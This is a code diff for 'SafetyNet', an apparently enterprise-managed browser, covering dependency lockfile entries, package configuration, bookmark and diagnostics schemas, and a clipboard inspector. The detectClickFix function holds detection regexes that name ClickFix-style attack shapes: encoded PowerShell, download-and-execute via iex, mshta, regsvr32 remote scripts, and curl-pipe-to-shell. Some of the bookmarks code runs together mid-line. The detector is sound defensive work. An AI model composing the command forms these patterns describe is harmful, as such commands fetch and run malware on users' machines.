"sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sumchecker": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz", + "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "debug": "^4.1.0" + }, + "engines": { + "node": ">= 8.0" + } + }, + "node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/tar": { + "version": "7.5.22", + "resolved": "https://registry.npmjs.org/tar/-/tar-7.5.22.tgz", + "integrity": "sha512-MFO/QzvtAOmJbkhOaCTvbGcFN9L9b+JunIsDwaKljSOdcLMea3NJ1k9Usz/rjdfSXTq4dfzfeS7W4p4YOAAHeA==", + "dev": true, + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/fs-minipass": "^4.0.0", + "chownr": "^3.0.0", + "minipass": "^7.1.2", + "minizlib": "^3.1.0", + "yallist": "^5.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/tar/node_modules/yallist": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-5.0.0.tgz", + "integrity": "sha512-YgvUTfwqyc7UXVMrB+SImsVYSmTS8X/tSrtdNZMImM+n7+QTriRXyXim0mBrTXNeqzVF0KWGgHPeiyViFFrNDw==", + "dev": true, + "license": "BlueOak-1.0.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/temp": { + "version": "0.9.4", + "resolved": "https://registry.npmjs.org/temp/-/temp-0.9.4.tgz", + "integrity": "sha512-yYrrsWnrXMcdsnu/7YMYAofM1ktpL5By7vZhf15CrXijWWrEYZks5AXBudalfSWJLlnen/QUJUB5aoB0kqZUGA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "mkdirp": "^0.5.1", + "rimraf": "~2.6.2" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/temp-file": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/temp-file/-/temp-file-3.4.0.tgz", + "integrity": "sha512-C5tjlC/HCtVUOi3KWVokd4vHVViOmGjtLwIh4MuzPo/nMYTV/p1urt3RnMz2IWXDdKEGJH3k5+KPxtqRsUYGtg==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-exit-hook": "^2.0.1", + "fs-extra": "^10.0.0" + } + }, + "node_modules/tiny-async-pool": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.3.0.tgz", + "integrity": "sha512-01EAw5EDrcVrdgyCLgoSPvqznC0sVxDSVeiOz09FUpjh71G79VCqneOr+xvt7T1r76CF6ZZfPjHorN2+d+3mqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^5.5.0" + } + }, + "node_modules/tiny-async-pool/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/tinyglobby": { + "version": "0.2.17", + "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz", + "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fdir": "^6.5.0", + "picomatch": "^4.0.4" + }, + "engines": { + "node": ">=12.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/SuperchupuDev" + } + }, + "node_modules/tmp": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.7.tgz", + "integrity": "sha512-e0votIpp4Uo2AJYSzVHV6xCcawuiez3DzqDAbrTc3YxBkplN6e+dM13ZeIcZnDg/QpSuU2zfZ3rzwY8ukEnaXw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=14.14" + } + }, + "node_modules/tmp-promise": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/tmp-promise/-/tmp-promise-3.0.3.tgz", + "integrity": "sha512-RwM7MoPojPxsOBYnyd2hy0bxtIlVrihNs9pj5SUvY8Zz1sQcQG2tG1hSr8PDxfgEB8RNKDhqbIlroIarSNDNsQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "tmp": "^0.2.0" + } + }, + "node_modules/toidentifier": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz", + "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==", + "license": "MIT", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/truncate-utf8-bytes": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/truncate-utf8-bytes/-/truncate-utf8-bytes-1.0.2.tgz", + "integrity": "sha512-95Pu1QXQvruGEhv62XCMO3Mm90GscOCClvrIUwCM0PYOXK3kaF3l3sIHxx71ThJfcbM2O5Au6SO3AWCSEfW4mQ==", + "dev": true, + "license": "WTFPL", + "dependencies": { + "utf8-byte-length": "^1.0.1" + } + }, + "node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "dev": true, + "license": "0BSD" + }, + "node_modules/type-fest": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz", + "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-2.1.0.tgz", + "integrity": "sha512-faYHw0anBbc/kWF3zFTEnxSFOAGUX9GFbOBthvDdLsIlEoWOFOtS0zgCiQYwIskL9iGXZL3kAXD8OoZ4GmMATA==", + "license": "MIT", + "dependencies": { + "content-type": "^2.0.0", + "media-typer": "^1.1.0", + "mime-types": "^3.0.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/undici": { + "version": "7.30.0", + "resolved": "https://registry.npmjs.org/undici/-/undici-7.30.0.tgz", + "integrity": "sha512-dkrQXeHSaoamnItlYbmzG0wFYrM0ZwDxCIg0A7aKjTyyhh9svRzCNFEzV+Vm05/yehjCzjDZ31KXfGEjYSztDQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=20.18.1" + } + }, + "node_modules/undici-types": { + "version": "7.24.6", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz", + "integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==", + "license": "MIT" + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unzipper": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/unzipper/-/unzipper-0.12.5.tgz", + "integrity": "sha512-tXYOi9R57Uj/2Z25SOs5RRSzq886MBQj2gY8dPL+xl/kv6s6SvByoKfAtvfVeEuhntWDgjd2o9p2lb4TVPAz0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "bluebird": "~3.7.2", + "duplexer2": "~0.1.4", + "fs-extra": "11.3.1", + "graceful-fs": "^4.2.2", + "node-int64": "^0.4.0" + } + }, + "node_modules/unzipper/node_modules/fs-extra": { + "version": "11.3.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-11.3.1.tgz", + "integrity": "sha512-eXvGGwZ5CL17ZSwHWd3bbgk7UUpF6IFHtP57NYYakPvHOs8GDgDe5KJI36jIJzDkJ6eJjuzRA8eBQb6SkKue0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=14.14" + } + }, + "node_modules/utf8-byte-length": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.5.tgz", + "integrity": "sha512-Xn0w3MtiQ6zoz2vFyUVruaCL53O/DwUvkEeOvj+uulMm0BkUGYWmBYVyElqZaSLhY6ZD0ulfU3aBra2aVT4xfA==", + "dev": true, + "license": "(WTFPL OR MIT)" + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true, + "license": "MIT" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/webcrypto-core": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/webcrypto-core/-/webcrypto-core-1.9.2.tgz", + "integrity": "sha512-gsXecm82UQNlTBURJGuqOWy1Ww08S3kZUcr3aOJS02Pk0xLtkfeUAVC0u0xhgdonFme80edSJUIJyuvL/7250Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@peculiar/asn1-schema": "^2.7.0", + "@peculiar/json-schema": "^1.1.12", + "@peculiar/utils": "^2.0.2", + "asn1js": "^3.0.10", + "tslib": "^2.8.1" + } + }, + "node_modules/which": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/which/-/which-5.0.0.tgz", + "integrity": "sha512-JEdGzHwwkrbWoGOlIHqQ5gtprKGOenpDHpxE9zVR1bWbOtYRyPPHMe9FaP6x61CmNaTThSkb0DAJte5jD+DmzQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "isexe": "^3.1.1" + }, + "bin": { + "node-which": "bin/which.js" + }, + "engines": { + "node": "^18.17.0 || >=20.5.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "license": "ISC" + }, + "node_modules/xmlbuilder": { + "version": "15.1.1", + "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-15.1.1.tgz", + "integrity": "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0" + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true, + "license": "ISC" + }, + "node_modules/yaml": { + "version": "2.9.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.1.tgz", + "integrity": "sha512-3NxN8+78OdzbT7C/WjGsyfPAtJaN3FNDsWxv7Y7mcDsT/oOmgW8BpyQQFFBnvZE3j9Y2Sdz1ULFLezL7Eb2yFw==", + "license": "ISC", + "bin": { + "yaml": "bin.mjs" + }, + "engines": { + "node": ">= 14.6" + }, + "funding": { + "url": "https://github.com/sponsors/eemeli" + } + }, + "node_modules/yargs": { + "version": "17.7.3", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.3.tgz", + "integrity": "sha512-GZtjxm/J/4TSxuL3FNYjCmLktBTnIw/rVmKSIyKeYAZpmJB2ig9VauCC5xsa82GNKVKDAqpOn3KVzNt0zmrU0g==", + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/zod": { + "version": "4.6.7", + "resolved": "https://registry.npmjs.org/zod/-/zod-4.6.7.tgz", + "integrity": "sha512-g8W2D2kU6a8untc053fX1uVBKzM7yqAxW/3zwk83+6RyF2+SKOuV+c0wBDhUwzV1PaGapmZH+rmcUzPf+3CGwg==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..0cc9904 --- /dev/null +++ b/package.json @@ -0,0 +1,99 @@ +{ + "name": "safetynet", + "version": "0.1.0", + "private": true, + "description": "Centrally managed Chromium browser and AI data protection foundation", + "main": "apps/browser/main.cjs", + "scripts": { + "init": "node scripts/init.mjs", + "inspector": "node --env-file-if-exists=.env scripts/inspector.mjs", + "server": "node --env-file-if-exists=.env apps/server/index.mjs", + "browser": "node --env-file-if-exists=.env scripts/browser.mjs", + "test": "node --test tests/*.test.mjs", + "check": "node scripts/check.mjs", + "smoke": "node scripts/smoke.mjs", + "package:win": "node scripts/package.mjs win", + "verify:package": "node scripts/verify-package.mjs", + "preview:ui": "node scripts/ui-showcase.cjs", + "runtime:win": "python scripts/provision-windows-runtime.py", + "runtime:semantic": "python scripts/provision-semantic-runtime.py" + }, + "dependencies": { + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/api-logs": "^0.223.0", + "@opentelemetry/exporter-logs-otlp-http": "^0.223.0", + "@opentelemetry/exporter-metrics-otlp-http": "^0.223.0", + "@opentelemetry/exporter-trace-otlp-http": "0.223.0", + "@opentelemetry/resources": "2.12.0", + "@opentelemetry/sdk-logs": "^0.223.0", + "@opentelemetry/sdk-metrics": "^2.12.0", + "@opentelemetry/sdk-node": "0.223.0", + "@opentelemetry/sdk-trace": "2.12.0", + "express": "5.3.0", + "jose": "6.2.12", + "pngjs": "7.0.0", + "zod": "^4.3.6" + }, + "devDependencies": { + "electron": "44.7.0", + "electron-builder": "26.15.3", + "lucide-static": "1.55.0" + }, + "build": { + "appId": "enterprise.safetynet.browser", + "productName": "SafetyNet", + "extraResources": [ + { + "from": "apps/inspector", + "to": "inspector", + "filter": [ + "**/*", + "!**/test*", + "!**/appcontainer_probe.py", + "!**/__pycache__/**" + ] + }, + { + "from": ".runtime/windows/python", + "to": "python", + "filter": [ + "**/*", + "!**/__pycache__/**" + ] + }, + { + "from": ".runtime/windows/semantic", + "to": "semantic", + "filter": [ + "**/*" + ] + } + ], + "files": [ + "apps/browser/**/*", + "packages/core/**/*", + "package.json" + ], + "directories": { + "output": "dist" + }, + "win": { + "target": [ + "nsis" + ], + "icon": "docs/brand/safetynet.ico" + }, + "mac": { + "target": [ + "dmg" + ], + "category": "public.app-category.productivity" + }, + "linux": { + "target": [ + "AppImage" + ], + "category": "Network" + } + } +} diff --git a/packages/core/bookmarks.mjs b/packages/core/bookmarks.mjs new file mode 100644 index 0000000..04d6261 --- /dev/null +++ b/packages/core/bookmarks.mjs @@ -0,0 +1,17 @@ +import { z } from 'zod'; +export const BookmarkSchema=z.object({id:z.string().min(1).max(80).regex(/^[a-zA-Z0-9_-]+$/),title:z.string().trim().min(1).max(120).refine(v=>!/[\u0000-\u001f\u007f]/.test(v)),url:z.string().max(2048).url().refine(v=>{try{const u=new URL(v);return ['https:','http:'].includes(u.protocol)&&!u.username&&!u.password&&!u.search&&!u.hash;}catch{return false;}},'Bookmarks require HTTP(S) without credentials, query or fragment').transform(v=>new URL(v).href).refine(v=>v.length<=2048,'Canonical bookmark URL exceeds limit'),folder:z.string().trim().max(80).refine(v=>!/[\u0000-\u001f\u007f]/.test(v)).default('')}).strict(); +export const BookmarkItemsSchema=z.array(BookmarkSchema).max(100).refine(items=>new Set(items.map(i=>i.id)).size===items.length,'Bookmark IDs must be unique').refine(items=>Buffer.byteLength(JSON.stringify(items))<=250000,'Bookmark collection exceeds byte budget'); +export const PersonalBookmarksSchema=z.object({revision:z.number().int().nonnegative().safe().default(0),items:BookmarkItemsSchema.default([])}).strict().prefault({}); +export const BookmarksSchema=z.object({managed:BookmarkItemsSchema.default([]),allowUserAdd:z.boolean().default(true),allowUserEdit:z.boolean().default(true),allowUserDelete:z.boolean().default(true),adminReadUserBookmarks:z.boolean().default(true),personal:PersonalBookmarksSchema}).strict().prefault({}).superRefine((v,ctx)=>{const ids=new Set(v.managed.map(i=>i.id));if(v.personal.items.some(i=>ids.has(i.id)))ctx.addIssue({code:'custom',message:'Managed and personal bookmark IDs must be distinct'});}); +import { createPrivateKey,createPublicKey,sign,verify } from 'node:crypto'; +export const BookmarkSnapshotSchema=z.object({deviceId:z.string().uuid(),policyVersion:z.number().int().positive(),revision:z.number().int().nonnegative().safe(),expiresAt:z.string().datetime(),items:BookmarkItemsSchema}).strict(); +export function signBookmarkSnapshot(payload,privateKey){payload=BookmarkSnapshotSchema.parse(payload);return {payload,signature:sign(null,Buffer.from('SafetyNet:bookmarks:v1\n'+JSON.stringify(payload)),createPrivateKey(privateKey)).toString('base64')};} +export function verifyBookmarkSnapshot(envelope,publicKey,{deviceId,policyVersion,minimumRevision=0,now=Date.now()}){ + if(!envelope||typeof envelope.signature!=='string'||envelope.signature.length>200||Buffer.byteLength(JSON.stringify(envelope))>300000)throw Error('Invalid bookmark snapshot'); + const payload=BookmarkSnapshotSchema.parse(envelope.payload); + if(JSON.stringify(payload)!==JSON.stringify(envelope.payload)||!verify(null,Buffer.from('SafetyNet:bookmarks:v1\n'+JSON.stringify(payload)),createPublicKey(publicKey),Buffer.from(envelope.signature,'base64')))throw Error('Invalid bookmark signature'); + if(payload.deviceId!==deviceId||payload.policyVersion!==policyVersion||payload.revision({decision:'block',ruleId}); +const allowed=()=>({decision:'allow',ruleId:null}); +const normalize=text=>text.normalize('NFKC').toLowerCase().replace(/[\u200b-\u200f\u202a-\u202e\u2060-\u206f\ufeff]/g,'').replace(/[`^]/g,''); +// Deterministic indicators of remote/obfuscated shell execution, not a command parser or malware proof. +export function detectClickFix(text){ + if(typeof text!=='string'||Buffer.byteLength(text)>1048576||text.includes('\0'))return blocked('clipboard-uninspectable'); + const values=[normalize(text)];try{values.push(normalize(decodeURIComponent(text)));}catch{} + for(const value of values){ + const command=value.replace(/["']/g,''); + if(/\b(?:powershell|pwsh)(?:\.exe)?\b[\s\S]{0,512}?\s-(?:e|ec|en|enc|enco|encod|encode|encoded|encodedc|encodedco|encodedcom|encodedcomm|encodedcomma|encodedcomman|encodedcommand)(?:\s+|:|=)[a-z0-9+/]+={0,2}/.test(command))return blocked('clickfix-encoded-powershell'); + const remote=/https?:\/\//.test(command),download=/\b(?:invoke-webrequest|invoke-restmethod|iwr|irm)\b|\.download(?:string|file)\s*\(/.test(command),execute=/\b(?:invoke-expression|iex)\b/.test(command); + if(remote&&download&&execute)return blocked('clickfix-powershell-remote-execution'); + if(/\bmshta(?:\.exe)?\s+(?:https?:\/\/|(?:vbscript|javascript):)/.test(command))return blocked('clickfix-mshta-execution'); + if(/\brundll32(?:\.exe)?\b[\s\S]{0,512}?javascript:[\s\S]{0,512}?(?:runhtmlapplication|getobject)/.test(command))return blocked('clickfix-rundll32-script'); + if(/\bregsvr32(?:\.exe)?\b[\s\S]{0,512}?\/i:https?:\/\//.test(command))return blocked('clickfix-regsvr32-remote-script'); + if(remote&&/\b(?:curl|wget)(?:\.exe)?\b[^\n;]{0,1024}\|\s*(?:sudo\s+)?(?:sh|bash|zsh|pwsh|powershell)(?:\.exe)?\b/.test(command))return blocked('clickfix-download-pipe-shell'); + if(remote&&/\b(?:sh|bash|zsh)\s+-c\s+\$\([^\n]{0,1024}\b(?:curl|wget)\b/.test(command))return blocked('clickfix-shell-download-substitution'); + if(remote&&(download||/\b(?:curl|wget|certutil|bitsadmin)(?:\.exe)?\b/.test(command))&&/(?:&&|;|\n)\s*(?:(?:start|start-process|sh|bash|\.\/|\.\\)\s*)?[^\s;\n]{1,200}\.(?:exe|ps1|bat|cmd|sh)\b/.test(command))return blocked('clickfix-download-then-execute'); + if(remote&&/\b(?:python|python3)(?:\.exe)?\s+-c\b/.test(command)&&/\b(?:exec|eval)\s*\(/.test(command)&&/\b(?:urllib|requests)\b/.test(command))return blocked('clickfix-python-remote-execution'); + } + return allowed(); +} +export function inspectClipboard(bytes,policy,operation){ + if(!['copy','cut','paste'].includes(operation))return blocked('clipboard-operation-denied'); + if(!policy||!Number.isFinite(Date.parse(policy.expiresAt))||Date.parse(policy.expiresAt)<=Date.now())return blocked('clipboard-policy-expired'); + const settings=policy.security?.clipboard;if(!settings||settings.failClosed!==true)return blocked('clipboard-policy-unavailable'); + if(settings.enabled&&!settings[`allow${operation[0].toUpperCase()}${operation.slice(1)}`])return blocked(`clipboard-${operation}-disabled`); + let data,text;try{if(!Buffer.isBuffer(bytes)&&!(bytes instanceof Uint8Array)&&typeof bytes!=='string')throw Error();data=Buffer.from(bytes);if(data.length>Math.min(settings.maxTextBytes,policy.dlp.maxBytes))return blocked('clipboard-size-limit');text=new TextDecoder('utf-8',{fatal:true}).decode(data);if(text.includes('\0'))throw Error();}catch{return blocked('clipboard-uninspectable');} + const verdict=inspect(data,policy);if(verdict.decision!=='allow')return verdict; + return settings.enabled&&settings.blockSuspiciousCommands?detectClickFix(text):allowed(); +} + diff --git a/packages/core/diagnostics.mjs b/packages/core/diagnostics.mjs new file mode 100644 index 0000000..70d26e1 --- /dev/null +++ b/packages/core/diagnostics.mjs @@ -0,0 +1,13 @@ +import {z} from 'zod'; +export function diagnosticsEndpointAllowed(value){ + try{const u=new URL(value);if(u.username||u.password||u.search||u.hash||!['https:','http:'].includes(u.protocol))return false; + const host=u.hostname.replace(/^\[|\]$/g,'');return u.protocol==='https:'||host==='::1'||/^127\.(?:\d{1,3}\.){2}\d{1,3}$/.test(host)&&host.split('.').every(part=>Number(part)<=255); + }catch{return false;} +} +export const DiagnosticsSchema=z.object({ + enabled:z.boolean().default(false),mode:z.enum(['operational','debug']).default('operational'), + endpoint:z.string().max(2048).refine(diagnosticsEndpointAllowed,'Collector requires HTTPS or numeric loopback without credentials, query or fragment').optional(), + sampleRate:z.number().min(0).max(1).default(0.1),debugSampleRate:z.number().min(0).max(1).default(1), + maxQueueSize:z.number().int().min(16).max(4096).default(512),flushIntervalMs:z.number().int().min(250).max(10000).default(2000), + maxRecordAgeMs:z.number().int().min(1000).max(300000).default(30000),exportTimeoutMs:z.number().int().min(250).max(10000).default(2000) +}).strict().superRefine((config,context)=>{if(config.enabled&&!config.endpoint)context.addIssue({code:'custom',message:'Enabled diagnostics require a centrally configured collector',path:['endpoint']});}); diff --git a/packages/core/enterprise.mjs b/packages/core/enterprise.mjs new file mode 100644 index 0000000..5ced043 --- /dev/null +++ b/packages/core/enterprise.mjs @@ -0,0 +1,24 @@ +import { z } from 'zod'; +import { isIP } from 'node:net'; +const endpoint=(protocols)=>z.string().max(2048).refine(value=>{try{const u=new URL(value);return protocols.includes(u.protocol)&&!!u.hostname&&!u.username&&!u.password&&!u.hash&&!u.search&&u.pathname.length>1;}catch{return false;}},'Use an absolute service URL without credentials, query or fragment'); +export const EnterpriseSchema=z.object({ + dns:z.object({mode:z.enum(['system','secure']).default('system'),templates:z.array(endpoint(['https:'])).max(4).default([])}).strict().prefault({}), + vpn:z.object({required:z.boolean().default(false),interfaceNames:z.array(z.string().trim().min(1).max(100)).max(20).default([]),requiredDnsServers:z.array(z.string().refine(v=>isIP(v)>0,'Expected a DNS server IP address')).max(20).default([])}).strict().prefault({}), + icap:z.object({enabled:z.boolean().default(false),url:z.union([z.literal(''),endpoint(['icaps:','icap:'])]).default(''),method:z.enum(['RESPMOD','REQMOD']).default('RESPMOD'),allow204:z.literal(true).default(true),allowInsecureTransport:z.boolean().default(false),scanUploads:z.boolean().default(true),scanDownloads:z.boolean().default(true),scanClipboard:z.boolean().default(true),scanAI:z.boolean().default(true),timeoutMs:z.number().int().min(1000).max(60000).default(10000),maxBytes:z.number().int().min(1024).max(20*1024*1024).default(20*1024*1024),failClosed:z.literal(true).default(true)}).strict().prefault({}) +}).strict().prefault({}).superRefine((p,c)=>{ + if(p.dns.mode==='secure'&&!p.dns.templates.length)c.addIssue({code:'custom',path:['dns','templates'],message:'Secure DNS requires a corporate HTTPS resolver'}); + if(p.dns.mode==='system'&&p.dns.templates.length)c.addIssue({code:'custom',path:['dns','templates'],message:'Clear resolver templates when using system DNS'}); + if(p.vpn.required&&!p.vpn.interfaceNames.length)c.addIssue({code:'custom',path:['vpn','interfaceNames'],message:'Required VPN needs approved Windows interface names'}); + 